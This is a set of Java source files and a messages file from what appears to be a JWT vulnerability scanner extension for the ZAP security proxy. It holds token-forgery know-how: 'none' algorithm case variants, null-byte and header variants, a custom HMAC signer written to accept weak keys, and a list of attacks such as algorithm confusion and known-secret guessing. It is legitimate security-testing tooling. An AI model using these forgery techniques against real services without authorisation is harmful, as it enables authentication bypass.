| gridBagConstraints.gridy++; 212 | fuzzerSettingsPanel.add(getHMACSignaturePanel(), gridBagConstraints); 213 | gridBagConstraints.gridy++; 214 | fuzzerSettingsPanel.add(getRSASignaturePanel(), gridBagConstraints); 215 | return fuzzerSettingsPanel; 216 | } 217 | 218 | private JPanel getHMACSignaturePanel() { 219 | JPanel hmacSignaturePanel = new JPanel(); 220 | hmacSignaturePanel.setLayout(new GridBagLayout()); 221 | hmacSignaturePanel.setSize(hmacSignaturePanel.getPreferredSize()); 222 | TitledBorder hmacSignaturePanelBorder = 223 | JWTUIUtils.getTitledBorder("jwt.settings.fuzzer.hmac.signature.configuration"); 224 | 225 | hmacSignaturePanel.setBorder(hmacSignaturePanelBorder); 226 | GridBagConstraints gridBagConstraints = JWTUIUtils.getGridBagConstraints(); 227 | JLabel jwtHmacPrivateKeyLabel = 228 | new JLabel(JWTI18n.getMessage("jwt.settings.hmac.hmacPrivateKey")); 229 | jwtHMacSignatureKey = new JPasswordField(); 230 | jwtHMacSignatureKey.setEditable(true); 231 | jwtHMacSignatureKey.setColumns(15); 232 | gridBagConstraints.gridx = 0; 233 | hmacSignaturePanel.add(jwtHmacPrivateKeyLabel, gridBagConstraints); 234 | gridBagConstraints.gridx++; 235 | hmacSignaturePanel.add(jwtHMacSignatureKey, gridBagConstraints); 236 | gridBagConstraints.gridx++; 237 | return hmacSignaturePanel; 238 | } 239 | 240 | private JPanel getRSASignaturePanel() { 241 | JPanel rsaSignaturePanel = new JPanel(); 242 | rsaSignaturePanel.setLayout(new GridBagLayout()); 243 | rsaSignaturePanel.setSize(rsaSignaturePanel.getPreferredSize()); 244 | TitledBorder rsaSignaturePanelBorder = 245 | JWTUIUtils.getTitledBorder("jwt.settings.fuzzer.rsa.signature.configuration"); 246 | rsaSignaturePanel.setBorder(rsaSignaturePanelBorder); 247 | GridBagConstraints gridBagConstraints = JWTUIUtils.getGridBagConstraints(); 248 | gridBagConstraints.gridx = 0; 249 | JLabel jwtRsaPrivateKeyLabel = 250 | new JLabel(JWTI18n.getMessage("jwt.settings.rsa.rsaPrivateKey")); 251 | JButton jwtRsaPrivateKeyFileChooserButton = 252 | new JButton(JWTI18n.getMessage("jwt.settings.filechooser.button")); 253 | jwtRsaPrivateKeyFileChooserTextField = new JTextField(); 254 | jwtRsaPrivateKeyFileChooserTextField.setEditable(false); 255 | jwtRsaPrivateKeyFileChooserTextField.setColumns(15); 256 | jwtRsaPrivateKeyFileChooserButton.addActionListener( 257 | e -> { 258 | JFileChooser jwtRsaPrivateKeyFileChooser = new JFileChooser(); 259 | jwtRsaPrivateKeyFileChooser.setFileFilter( 260 | new FileFilter() { 261 | 262 | @Override 263 | public String getDescription() { 264 | return JWTI18n.getMessage( 265 | "jwt.settings.rsa.keystore.pemFileDescription"); 266 | } 267 | 268 | @Override 269 | public boolean accept(File f) { 270 | return f.getName().endsWith(".pem") || f.isDirectory(); 271 | } 272 | }); 273 | jwtRsaPrivateKeyFileChooser.setFileSelectionMode(JFileChooser.FILES_ONLY); 274 | String path = jwtRsaPrivateKeyFileChooserTextField.getText(); 275 | if (!path.isEmpty()) { 276 | File file = new File(path); 277 | if (file.exists()) { 278 | jwtRsaPrivateKeyFileChooser.setSelectedFile(file); 279 | } 280 | } 281 | if (jwtRsaPrivateKeyFileChooser.showOpenDialog(null) 282 | == JFileChooser.APPROVE_OPTION) { 283 | final File selectedFile = jwtRsaPrivateKeyFileChooser.getSelectedFile(); 284 | jwtRsaPrivateKeyFileChooserPath = selectedFile.getAbsolutePath(); 285 | jwtRsaPrivateKeyFileChooserTextField.setText( 286 | selectedFile.getAbsolutePath()); 287 | } 288 | }); 289 | gridBagConstraints.gridx = 0; 290 | gridBagConstraints.gridy++; 291 | rsaSignaturePanel.add(jwtRsaPrivateKeyLabel, gridBagConstraints); 292 | gridBagConstraints.gridx++; 293 | rsaSignaturePanel.add(jwtRsaPrivateKeyFileChooserTextField, gridBagConstraints); 294 | gridBagConstraints.gridx++; 295 | rsaSignaturePanel.add(jwtRsaPrivateKeyFileChooserButton, gridBagConstraints); 296 | return rsaSignaturePanel; 297 | } 298 | 299 | /** Resets entire panel to default values. */ 300 | private void resetOptionsPanel() { 301 | trustStorePasswordField.setText(""); 302 | trustStoreFileChooserTextField.setText(""); 303 | trustStorePassword = null; 304 | enableClientConfigurationScanCheckBox.setSelected(false); 305 | trustStorePath = ""; 306 | jwtRsaPrivateKeyFileChooserTextField.setText(""); 307 | jwtRsaPrivateKeyFileChooserPath = ""; 308 | jwtHMacSignatureKey.setText(""); 309 | } 310 | 311 | private void populateOptionsPanel() { 312 | trustStoreFileChooserTextField.setText(trustStorePath); 313 | trustStorePasswordField.setText(trustStorePassword); 314 | if (jwtRsaPrivateKeyFileChooserPath != null) { 315 | this.jwtRsaPrivateKeyFileChooserTextField.setText(jwtRsaPrivateKeyFileChooserPath); 316 | } 317 | } 318 | 319 | @Override 320 | public void initParam(Object optionParams) { 321 | this.resetOptionsPanel(); 322 | JWTConfiguration jwtConfiguration = 323 | ((OptionsParam) optionParams).getParamSet(JWTConfiguration.class); 324 | trustStorePath = jwtConfiguration.getTrustStorePath(); 325 | trustStorePassword = jwtConfiguration.getTrustStorePassword(); 326 | enableClientConfigurationScanCheckBox.setSelected( 327 | jwtConfiguration.isEnableClientConfigurationScan()); 328 | if (jwtConfiguration.getHMacSignatureKey() != null) { 329 | this.jwtHMacSignatureKey.setText(new String(jwtConfiguration.getHMacSignatureKey())); 330 | } 331 | this.jwtRsaPrivateKeyFileChooserPath = jwtConfiguration.getRsaPrivateKeyFileChooserPath(); 332 | this.populateOptionsPanel(); 333 | } 334 | 335 | @Override 336 | public void validateParam(Object optionParams) throws Exception {} 337 | 338 | @Override 339 | public void saveParam(Object optionParams) throws Exception { 340 | JWTConfiguration jwtConfiguration = 341 | ((OptionsParam) optionParams).getParamSet(JWTConfiguration.class); 342 | jwtConfiguration.setTrustStorePath(trustStorePath); 343 | jwtConfiguration.setTrustStorePassword(trustStorePassword); 344 | jwtConfiguration.setEnableClientConfigurationScan( 345 | enableClientConfigurationScanCheckBox.isSelected()); 346 | jwtConfiguration.setHMacSignatureKey(jwtHMacSignatureKey.getPassword()); 347 | jwtConfiguration.setRsaPrivateKeyFileChooserPath(jwtRsaPrivateKeyFileChooserPath); 348 | } 349 | } 350 | -------------------------------------------------------------------------------- /src/main/java/org/zaproxy/zap/extension/jwt/utils/JWTConstants.java: -------------------------------------------------------------------------------- 1 | /** 2 | * Copyright 2021 SasanLabs 3 | * 4 | *

      Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file 5 | * except in compliance with the License. You may obtain a copy of the License at 6 | * 7 | *

      http://www.apache.org/licenses/LICENSE-2.0 8 | * 9 | *

      Unless required by applicable law or agreed to in writing, software distributed under the 10 | * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | * express or implied. See the License for the specific language governing permissions and 12 | * limitations under the License. 13 | */ 14 | package org.zaproxy.zap.extension.jwt.utils; 15 | 16 | import java.util.HashMap; 17 | import java.util.Map; 18 | import java.util.regex.Pattern; 19 | 20 | /** 21 | * @author KSASAN preetkaran20@gmail.com 22 | * @since TODO add version 23 | */ 24 | public interface JWTConstants { 25 | 26 | char JWT_TOKEN_PERIOD_CHARACTER = '.'; 27 | String JWT_TOKEN_PERIOD_CHARACTER_REGEX = "[" + JWT_TOKEN_PERIOD_CHARACTER + "]"; 28 | String JWT_COMPONENT_REGEX = "[a-zA-Z0-9_-]*"; 29 | String JWT_TOKEN_FORMAT_REGEX = 30 | JWT_COMPONENT_REGEX 31 | + JWT_TOKEN_PERIOD_CHARACTER_REGEX 32 | + JWT_COMPONENT_REGEX 33 | + JWT_TOKEN_PERIOD_CHARACTER_REGEX 34 | + JWT_COMPONENT_REGEX; 35 | // Pattern JWT_TOKEN_REGEX_VALIDATOR_PATTERN = Pattern.compile(JWT_TOKEN_FORMAT_REGEX + "$"); 36 | Pattern JWT_TOKEN_REGEX_PATTERN = Pattern.compile(JWT_TOKEN_FORMAT_REGEX); 37 | String BASE64_PADDING_CHARACTER_REGEX = "[=]"; 38 | String[] NONE_ALGORITHM_VARIANTS = {"none", "None", "NONE", "nOnE"}; 39 | String JWT_ALGORITHM_KEY_HEADER = "alg"; 40 | String JWT_RSA_ALGORITHM_IDENTIFIER = "RS"; 41 | String JWT_RSA_PSS_ALGORITHM_IDENTIFIER = "PS"; 42 | String JWT_HMAC_ALGORITHM_IDENTIFIER = "HS"; 43 | String JWT_EC_ALGORITHM_IDENTIFIER = "EC"; 44 | String JWT_OCTET_ALGORITHM_IDENTIFIER = "ED"; 45 | String JWT_EXP_ALGORITHM_IDENTIFIER = "exp"; 46 | String JSON_WEB_KEY_HEADER = "jwk"; 47 | String JWT_HEADER_WITH_ALGO_PLACEHOLDER = "{\"typ\":\"JWT\",\"alg\":\"%s\"}"; 48 | String[] HEADER_FORMAT_VARIANTS = { 49 | JWT_HEADER_WITH_ALGO_PLACEHOLDER, 50 | "{\"alg\":\"%s\",\"typ\":\"JWT\"}", 51 | "{\"typ\":\"JWT\",\"alg\":\"\"}", 52 | "{\"typ\":\"JWT\"}", 53 | "{\"alg\":\"%s\"}", 54 | }; 55 | 56 | String HMAC_256 = "HS256"; 57 | String NULL_BYTE_CHARACTER = String.valueOf((char) 0); 58 | String BEARER_TOKEN_REGEX = "(?i)bearer"; 59 | String BEARER_TOKEN_KEY = "Bearer"; 60 | 61 | /** Constants related to Client Side Vulnerabilities in implementation of JWT */ 62 | String HTTP_ONLY_COOKIE_ATTRIBUTE = "HttpOnly"; 63 | 64 | String SECURE_COOKIE_ATTRIBUTE = "Secure"; 65 | String SAME_SITE_ATTRIBUTE = "SameSite"; 66 | String SAME_SITE_NONE_MODE = "None"; 67 | String COOKIE_PREFIX_SECURE = "__Secure-"; 68 | String COOKIE_PREFIX_HOST = "__Host-"; 69 | Map JWT_HMAC_ALGO_TO_JAVA_ALGORITHM_MAPPING = 70 | createJWTHmacAlgoToJavaAlgoMapping(); 71 | 72 | static Map createJWTHmacAlgoToJavaAlgoMapping() { 73 | Map jwtAlgoToJavaAlgoMapping = new HashMap<>(); 74 | jwtAlgoToJavaAlgoMapping.put("HS256", "HmacSHA256"); 75 | jwtAlgoToJavaAlgoMapping.put("HS384", "HmacSHA384"); 76 | jwtAlgoToJavaAlgoMapping.put("HS512", "HmacSHA512"); 77 | return jwtAlgoToJavaAlgoMapping; 78 | } 79 | } 80 | -------------------------------------------------------------------------------- /src/main/java/org/zaproxy/zap/extension/jwt/utils/JWTUIUtils.java: -------------------------------------------------------------------------------- 1 | /** 2 | * Copyright 2021 SasanLabs 3 | * 4 | *

      Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file 5 | * except in compliance with the License. You may obtain a copy of the License at 6 | * 7 | *

      http://www.apache.org/licenses/LICENSE-2.0 8 | * 9 | *

      Unless required by applicable law or agreed to in writing, software distributed under the 10 | * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | * express or implied. See the License for the specific language governing permissions and 12 | * limitations under the License. 13 | */ 14 | package org.zaproxy.zap.extension.jwt.utils; 15 | 16 | import java.awt.GridBagConstraints; 17 | import javax.swing.BorderFactory; 18 | import javax.swing.border.TitledBorder; 19 | import org.zaproxy.zap.extension.jwt.JWTI18n; 20 | import org.zaproxy.zap.utils.FontUtils; 21 | 22 | /** 23 | * Contains the Utility method for handling common UI functionality. 24 | * 25 | * @author preetkaran20@gmail.com KSASAN 26 | */ 27 | public final class JWTUIUtils { 28 | 29 | private JWTUIUtils() { 30 | // Utility class. 31 | } 32 | 33 | /** 34 | * Returns the Titled Border with the provided titleKey. 35 | * 36 | * @param titleKey, I18N label for the border 37 | * @return TitledBorder 38 | */ 39 | public static TitledBorder getTitledBorder(String titleKey) { 40 | return BorderFactory.createTitledBorder( 41 | null, 42 | JWTI18n.getMessage(titleKey), 43 | TitledBorder.DEFAULT_JUSTIFICATION, 44 | TitledBorder.DEFAULT_POSITION, 45 | FontUtils.getFont(FontUtils.Size.standard)); 46 | } 47 | 48 | /** 49 | * Returns the default configuration instance of GridBagConstraint. 50 | * 51 | * @return GridBagConstraints instance. 52 | */ 53 | public static GridBagConstraints getGridBagConstraints() { 54 | GridBagConstraints gridBagConstraints = new GridBagConstraints(); 55 | gridBagConstraints.fill = GridBagConstraints.NONE; 56 | gridBagConstraints.anchor = GridBagConstraints.NORTHWEST; 57 | gridBagConstraints.gridy = 0; 58 | gridBagConstraints.gridx = 0; 59 | gridBagConstraints.weightx = 1.0D; 60 | gridBagConstraints.weighty = 1.0D; 61 | return gridBagConstraints; 62 | } 63 | } 64 | -------------------------------------------------------------------------------- /src/main/java/org/zaproxy/zap/extension/jwt/utils/JWTUtils.java: -------------------------------------------------------------------------------- 1 | /** 2 | * Copyright 2021 SasanLabs 3 | * 4 | *

      Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file 5 | * except in compliance with the License. You may obtain a copy of the License at 6 | * 7 | *

      http://www.apache.org/licenses/LICENSE-2.0 8 | * 9 | *

      Unless required by applicable law or agreed to in writing, software distributed under the 10 | * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | * express or implied. See the License for the specific language governing permissions and 12 | * limitations under the License. 13 | */ 14 | package org.zaproxy.zap.extension.jwt.utils; 15 | 16 | import static org.zaproxy.zap.extension.jwt.utils.JWTConstants.BASE64_PADDING_CHARACTER_REGEX; 17 | import static org.zaproxy.zap.extension.jwt.utils.JWTConstants.BEARER_TOKEN_KEY; 18 | import static org.zaproxy.zap.extension.jwt.utils.JWTConstants.BEARER_TOKEN_REGEX; 19 | import static org.zaproxy.zap.extension.jwt.utils.JWTConstants.JWT_RSA_ALGORITHM_IDENTIFIER; 20 | import static org.zaproxy.zap.extension.jwt.utils.JWTConstants.JWT_RSA_PSS_ALGORITHM_IDENTIFIER; 21 | import static org.zaproxy.zap.extension.jwt.utils.JWTConstants.JWT_TOKEN_PERIOD_CHARACTER; 22 | import static org.zaproxy.zap.extension.jwt.utils.JWTConstants.JWT_TOKEN_REGEX_PATTERN; 23 | 24 | import com.nimbusds.jose.JOSEException; 25 | import com.nimbusds.jose.JWSHeader; 26 | import com.nimbusds.jose.crypto.RSASSASigner; 27 | import com.nimbusds.jose.util.Base64URL; 28 | import java.io.BufferedReader; 29 | import java.io.File; 30 | import java.io.IOException; 31 | import java.io.InputStreamReader; 32 | import java.nio.ByteBuffer; 33 | import java.nio.CharBuffer; 34 | import java.nio.charset.StandardCharsets; 35 | import java.security.InvalidKeyException; 36 | import java.security.KeyFactory; 37 | import java.security.NoSuchAlgorithmException; 38 | import java.security.PrivateKey; 39 | import java.security.interfaces.RSAPrivateKey; 40 | import java.security.spec.InvalidKeySpecException; 41 | import java.security.spec.PKCS8EncodedKeySpec; 42 | import java.text.ParseException; 43 | import java.util.Base64; 44 | import java.util.HashSet; 45 | import java.util.Objects; 46 | import java.util.Set; 47 | import java.util.regex.Pattern; 48 | import javax.crypto.Mac; 49 | import javax.crypto.spec.SecretKeySpec; 50 | import org.apache.commons.io.FileUtils; 51 | import org.apache.commons.lang3.StringUtils; 52 | import org.apache.log4j.Logger; 53 | import org.json.JSONException; 54 | import org.json.JSONObject; 55 | import org.zaproxy.zap.extension.dynssl.SslCertificateUtils; 56 | import org.zaproxy.zap.extension.jwt.JWTHolder; 57 | import org.zaproxy.zap.extension.jwt.exception.JWTException; 58 | 59 | /** 60 | * Contains Utility methods for handling various operations on JWT Tokens. 61 | * 62 | * @author KSASAN preetkaran20@gmail.com 63 | * @since TODO add version 64 | */ 65 | public final class JWTUtils { 66 | 67 | private static final Logger LOGGER = Logger.getLogger(JWTUtils.class); 68 | 69 | private JWTUtils() { 70 | // Utility class 71 | } 72 | 73 | /** 74 | * Converts string to bytes. This method assumes that token is in UTF-8 charset which is as per 75 | * the JWT specifications. 76 | * 77 | * @param token 78 | * @return resultant byte array 79 | */ 80 | public static byte[] getBytes(String token) { 81 | return token.getBytes(StandardCharsets.UTF_8); 82 | } 83 | 84 | /** 85 | * Converts char array to byte array securely. Not using string to byte array manipulation 86 | * because of security concerns. This method assumes that token is in UTF-8 charset which is as 87 | * per the JWT specifications. 88 | * 89 | * @param token 90 | * @return resultant byte array 91 | */ 92 | public static byte[] getBytes(char[] token) { 93 | ByteBuffer byteBuffer = StandardCharsets.UTF_8.encode(CharBuffer.wrap(token)); 94 | byte[] byteArray = new byte[byteBuffer.remaining()]; 95 | // Populate the provided array 96 | byteBuffer.get(byteArray); 97 | return byteArray; 98 | } 99 | 100 | /** 101 | * Converts bytes to String. This method assumes that bytes provides are as per UTF-8 charset. 102 | * 103 | * @param tokenBytes 104 | * @return {@code String} by decoding in UTF_8 charset. 105 | */ 106 | public static String getString(byte[] tokenBytes) { 107 | return new String(tokenBytes, StandardCharsets.UTF_8); 108 | } 109 | 110 | /** 111 | * Using Base64 URL Safe 112 | * encoding. because of JWT specifications.
      113 | * Also we are removing the padding as per RFC 7515 padding is not there in JWT. 115 | * 116 | * @param token 117 | * @return base64 url encoded provided token. 118 | */ 119 | public static String getBase64UrlSafeWithoutPaddingEncodedString(String token) { 120 | return JWTUtils.getBase64UrlSafeWithoutPaddingEncodedString(getBytes(token)); 121 | } 122 | 123 | /** 124 | * Using Base64 URL Safe 125 | * encoding. because of JWT specifications.
      126 | * Also we are removing the padding as per RFC 7515 padding is not there in JWT. 128 | * 129 | * @param token 130 | * @return base64 url encoded provided token. 131 | */ 132 | public static String getBase64UrlSafeWithoutPaddingEncodedString(byte[] token) { 133 | return JWTUtils.getString(Base64.getUrlEncoder().encode(token)) 134 | .replaceAll(BASE64_PADDING_CHARACTER_REGEX, ""); 135 | } 136 | 137 | /** 138 | * Checks if the provided value is in a valid JWT format. 139 | * 140 | * @param jwtToken 141 | * @return {@code true} if the provided value is in a valid JWT format else {@code false} 142 | */ 143 | public static boolean isTokenValid(String jwtToken) { 144 | if (Objects.isNull(jwtToken)) { 145 | return false; 146 | } 147 | return JWT_TOKEN_REGEX_PATTERN.matcher(jwtToken).matches(); 148 | } 149 | 150 | /** 151 | * Signs token using provided secretKey based on the provided algorithm. This method only 152 | * handles signing of token using HS*(Hmac + Sha*) based algorithm.
      153 | * 154 | *

      Note: This method adds custom java based implementation of HS* algorithm and doesn't use 155 | * any library like Nimbus+JOSE or JJWT and reason for this is, libraries are having validations 156 | * related to Key sizes and they don't allow weak keys so for signing token using weak keys (for 157 | * finding vulnerabilities in web applications that are using old implementations or custom 158 | * implementations) is not possible therefore added this custom implementation for HS* 159 | * algorithms. 160 | * 161 | *

      162 | * 163 | * @param token to be signed. 164 | * @param secretKey used for signing the Hmac token. 165 | * @param algorithm Hmac signature algorithm e.g. HS256, HS384, HS512 166 | * @return Final Signed JWT Base64 encoded Hmac signed token. 167 | * @throws JWTException if provided Hmac algorithm is not supported. 168 | */ 169 | public static String getBase64EncodedHMACSignedToken( 170 | byte[] token, byte[] secretKey, String algorithm) throws JWTException { 171 | try { 172 | if (JWTConstants.JWT_HMAC_ALGO_TO_JAVA_ALGORITHM_MAPPING.containsKey(algorithm)) { 173 | Mac hmacSHA = 174 | Mac.getInstance( 175 | JWTConstants.JWT_HMAC_ALGO_TO_JAVA_ALGORITHM_MAPPING.get( 176 | algorithm)); 177 | SecretKeySpec hmacSecretKey = new SecretKeySpec(secretKey, hmacSHA.getAlgorithm()); 178 | hmacSHA.init(hmacSecretKey); 179 | byte[] tokenSignature = hmacSHA.doFinal(token); 180 | String base64EncodedSignature = 181 | JWTUtils.getBase64UrlSafeWithoutPaddingEncodedString(tokenSignature); 182 | return JWTUtils.getString(token) 183 | + JWT_TOKEN_PERIOD_CHARACTER 184 | + base64EncodedSignature; 185 | } else { 186 | throw new JWTException(algorithm + " is not a supported HMAC algorithm."); 187 | } 188 | } catch (InvalidKeyException | NoSuchAlgorithmException e) { 189 | throw new JWTException( 190 | "Exception occurred while Signing token: " + getString(token), e); 191 | } 192 | } 193 | 194 | /** 195 | * Signs token using provided {@param privateKey} using RSA Signature algorithm. This method 196 | * only handles signing of token using RS*(RSA + Sha*) based algorithm.
      197 | * 198 | * @param jwtHolder Token holder which needs contains the fuzzed values 199 | * @param privateKey RSA private Key 200 | * @return Final Signed JWT using provided {@param privateKey}. 201 | * @throws JWTException 202 | */ 203 | public static String getBase64EncodedRSSignedToken(JWTHolder jwtHolder, PrivateKey privateKey) 204 | throws JWTException { 205 | if (jwtHolder.getAlgorithm().startsWith(JWT_RSA_ALGORITHM_IDENTIFIER) 206 | || jwtHolder.getAlgorithm().startsWith(JWT_RSA_PSS_ALGORITHM_IDENTIFIER)) { 207 | String base64EncodedNewHeaderAndPayload = 208 | jwtHolder.getBase64EncodedTokenWithoutSignature(); 209 | if (privateKey != null) { 210 | RSASSASigner rsassaSigner = new RSASSASigner(privateKey); 211 | try { 212 | return base64EncodedNewHeaderAndPayload 213 | + JWTConstants.JWT_TOKEN_PERIOD_CHARACTER 214 | + rsassaSigner.sign( 215 | JWSHeader.parse( 216 | Base64URL.from( 217 | JWTUtils 218 | .getBase64UrlSafeWithoutPaddingEncodedString( 219 | jwtHolder.getHeader()))), 220 | JWTUtils.getBytes( 221 | jwtHolder.getBase64EncodedTokenWithoutSignature())); 222 | } catch (JOSEException | ParseException e) { 223 | throw new JWTException("Error occurred: ", e); 224 | } 225 | } 226 | } 227 | return null; 228 | } 229 | 230 | /** 231 | * Utility method for reading the PEM file and building RSAPrivateKey from it. 232 | * 233 | * @param pemFilePath PEM File Path which contains the RSA Private Key 234 | * @return RSAPrivateKey by reading PEM file containing the RSA Private Key. 235 | * @throws JWTException if unable to read the provided file path or key specification is 236 | * incorrect etc. 237 | */ 238 | public static RSAPrivateKey getRSAPrivateKeyFromProvidedPEMFilePath(String pemFilePath) 239 | throws JWTException { 240 | File pemFile = new File(pemFilePath); 241 | try { 242 | String certAndKey = FileUtils.readFileToString(pemFile, StandardCharsets.US_ASCII); 243 | byte[] keyBytes = SslCertificateUtils.extractPrivateKey(certAndKey); 244 | PKCS8EncodedKeySpec spec = new PKCS8EncodedKeySpec(keyBytes); 245 | KeyFactory factory = KeyFactory.getInstance("RSA"); 246 | return (RSAPrivateKey) factory.generatePrivate(spec); 247 | } catch (IOException | NoSuchAlgorithmException | InvalidKeySpecException e) { 248 | throw new JWTException("Error occurred: ", e); 249 | } 250 | } 251 | 252 | private static boolean hasBearerToken(String value) { 253 | return Pattern.compile(BEARER_TOKEN_REGEX).matcher(value).find(); 254 | } 255 | 256 | /** 257 | * This utility method removes {@literal BEARER_TOKEN_REGEX} from the value. For now it is just 258 | * removing {@literal BEARER_TOKEN_REGEX} but in future we might need to remove other type of 259 | * schemes too. 260 | * 261 | * @param value the value of the parameter under testing 262 | * @return value by replacing the {@literal BEARER_TOKEN_REGEX} 263 | */ 264 | public static String extractingJWTFromParamValue(String value) { 265 | if (hasBearerToken(value)) { 266 | value = value.replaceAll(BEARER_TOKEN_REGEX, "").trim(); 267 | } 268 | return value; 269 | } 270 | 271 | /** 272 | * This utility method adds the {@literal BEARER_TOKEN_KEY} to the value. This method reverses 273 | * the operation performed by {@link JWTUtils#extractingJWTFromParamValue} 274 | * 275 | * @param value the value of the parameter under testing 276 | * @param jwtToken value of the manipulated token 277 | * @return jwt token by adding {@literal BEARER_TOKEN_REGEX} 278 | */ 279 | public static String addingJWTToParamValue(String value, String jwtToken) { 280 | if (hasBearerToken(value)) { 281 | jwtToken = BEARER_TOKEN_KEY + " " + jwtToken; 282 | } 283 | return jwtToken; 284 | } 285 | 286 | /** 287 | * This utility method is used to check the provided String is a valid JSON or not. 288 | * 289 | * @param value JSON String 290 | * @return true if provided value is a valid JSON else false. 291 | */ 292 | public static boolean isValidJson(String value) { 293 | try { 294 | new JSONObject(value); 295 | } catch (JSONException ex) { 296 | return false; 297 | } 298 | return true; 299 | } 300 | 301 | /** 302 | * Generic utility to read contents from the file and returning the provided content as list of 303 | * Strings. 304 | * 305 | * @param fileName 306 | * @return content from file as list of strings 307 | */ 308 | public static Set readFileContentsFromResources(String fileName) { 309 | Set values = new HashSet<>(); 310 | try (BufferedReader bufferedReader = 311 | new BufferedReader( 312 | new InputStreamReader(JWTUtils.class.getResourceAsStream(fileName)))) { 313 | String inputLine; 314 | while ((inputLine = bufferedReader.readLine()) != null) { 315 | if (StringUtils.isNotBlank(inputLine)) { 316 | values.add(inputLine); 317 | } 318 | } 319 | } catch (Exception ex) { 320 | LOGGER.warn("Unable to read publicly known secrets from: " + fileName, ex); 321 | } 322 | return values; 323 | } 324 | } 325 | -------------------------------------------------------------------------------- /src/main/java/org/zaproxy/zap/extension/jwt/utils/VulnerabilityType.java: -------------------------------------------------------------------------------- 1 | /** 2 | * Copyright 2021 SasanLabs 3 | * 4 | *

      Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file 5 | * except in compliance with the License. You may obtain a copy of the License at 6 | * 7 | *

      http://www.apache.org/licenses/LICENSE-2.0 8 | * 9 | *

      Unless required by applicable law or agreed to in writing, software distributed under the 10 | * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | * express or implied. See the License for the specific language governing permissions and 12 | * limitations under the License. 13 | */ 14 | package org.zaproxy.zap.extension.jwt.utils; 15 | 16 | /** 17 | * @author KSASAN preetkaran20@gmail.com 18 | * @since TODO add version 19 | */ 20 | public enum VulnerabilityType { 21 | // JWT token server side vulnerability type 22 | NONE_ALGORITHM("noneAlgorithm"), 23 | NULL_BYTE("nullByte"), 24 | EMPTY_TOKENS("emptyTokens"), 25 | JWK_CUSTOM_KEY("jwkCustomKey"), 26 | INCORRECT_SIGNATURE("incorrectSignature"), 27 | ALGORITHM_CONFUSION("algorithmConfusion"), 28 | PUBLICLY_KNOWN_SECRETS("publiclyKnownSecrets"), 29 | // JWT token client side storage related vulnerability type 30 | SECURE_COOKIE("cookiesecureflag"), 31 | HTTPONLY_COOKIE("cookiehttponly"), 32 | SAMESITE_COOKIE("cookiesamesite"), 33 | COOKIE_PREFIX("cookieprefix"), 34 | URL_PARAM("urlparam"), 35 | FORM_PARAM("formparam"), 36 | HEADERS("headers"); 37 | 38 | private String messageKey; 39 | 40 | private VulnerabilityType(String messageKey) { 41 | this.messageKey = messageKey; 42 | } 43 | 44 | public String getMessageKey() { 45 | return messageKey; 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /src/main/resources/org/zaproxy/zap/extension/jwt/resources/Messages.properties: -------------------------------------------------------------------------------- 1 | jwt.settings.title=JWT 2 | jwt.scanner.name=JWT Scan Rule 3 | jwt.scanner.description=Scanner for finding vulnerabilities in JWT implementations. 4 | jwt.settings.rsa.header=RSA 5 | jwt.settings.general.header=General 6 | jwt.settings.rsa.trustStorePath=TrustStore Path: 7 | jwt.settings.rsa.trustStorePassword=TrustStore Password: 8 | jwt.settings.rsa.trustStoreFileDescription=PKCS12 Format 9 | jwt.settings.rsa.keystore.pemFileDescription=PEM File 10 | jwt.settings.rsa.rsaPrivateKey=Private Key 11 | jwt.settings.hmac.hmacPrivateKey=Key 12 | jwt.settings.filechooser.button=Select... 13 | jwt.settings.general.enableClientSideScan.checkBox=Enable Client Configuration Scan 14 | jwt.settings.button.reset=Reset 15 | 16 | #JWT Fuzzer configuration 17 | jwt.settings.fuzzer.header=Fuzzer Configuration 18 | jwt.settings.fuzzer.hmac.signature.configuration=HMac Signature Configuration 19 | jwt.settings.fuzzer.rsa.signature.configuration=RSA Signature Configuration 20 | jwt.fuzzer.signature.operation.nosignature=No Signature 21 | jwt.fuzzer.signature.operation.newsignature=New Signature 22 | jwt.fuzzer.signature.operation.samesignature=Same Signature 23 | jwt.fuzzer.panel.token.component=Component 24 | jwt.fuzzer.panel.token.key=Key 25 | jwt.fuzzer.panel.signature.operationtype=Signature Operation 26 | jwt.fuzzer.panel.jwtComponent.header=Header 27 | jwt.fuzzer.panel.jwtComponent.payload=Payload 28 | jwt.fuzzer.panel.jwtcombobox.select=--Select-- 29 | jwt.fuzzer.popup.menu.item=JWT Fuzzer 30 | 31 | 32 | # Client side JWT storage vulnerabilities 33 | jwt.scanner.client.vulnerability.cookiehttponly.name=No HttpOnly Flag on Cookie Containing JWT 34 | jwt.scanner.client.vulnerability.cookiehttponly.desc=A cookie has been set without the HttpOnly flag, which means that the cookie can be accessed by JavaScript. If a malicious script can be run on this page then the cookie will be accessible and can be transmitted to another site. If this is a session cookie then session hijacking may be possible. 35 | jwt.scanner.client.vulnerability.cookiehttponly.soln=Ensure that the HttpOnly flag is set for all cookies. 36 | jwt.scanner.client.vulnerability.cookiehttponly.refs=https://owasp.org/www-community/HttpOnly 37 | 38 | jwt.scanner.client.vulnerability.cookiesecureflag.name=Cookie Containing JWT is Lacking Secure Flag 39 | jwt.scanner.client.vulnerability.cookiesecureflag.desc=A cookie has been set without the secure flag, which means that the cookie can be accessed via unencrypted connections. 40 | jwt.scanner.client.vulnerability.cookiesecureflag.soln=Whenever a cookie contains sensitive information or is a session token, then it should always be passed using an encrypted channel. Ensure that the secure flag is set for cookies containing such sensitive information. 41 | jwt.scanner.client.vulnerability.cookiesecureflag.refs=https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/06-Session_Management_Testing/02-Testing_for_Cookies_Attributes.html 42 | 43 | 44 | jwt.scanner.client.vulnerability.cookiesamesite.name=Cookie Containing JWT is Lacking SameSite Attribute 45 | jwt.scanner.client.vulnerability.cookiesamesite.desc=A cookie has been set without the SameSite attribute, which means that the cookie can be sent as a result of a 'cross-site' request. \ 46 | The SameSite attribute is an effective counter measure to cross-site request forgery, 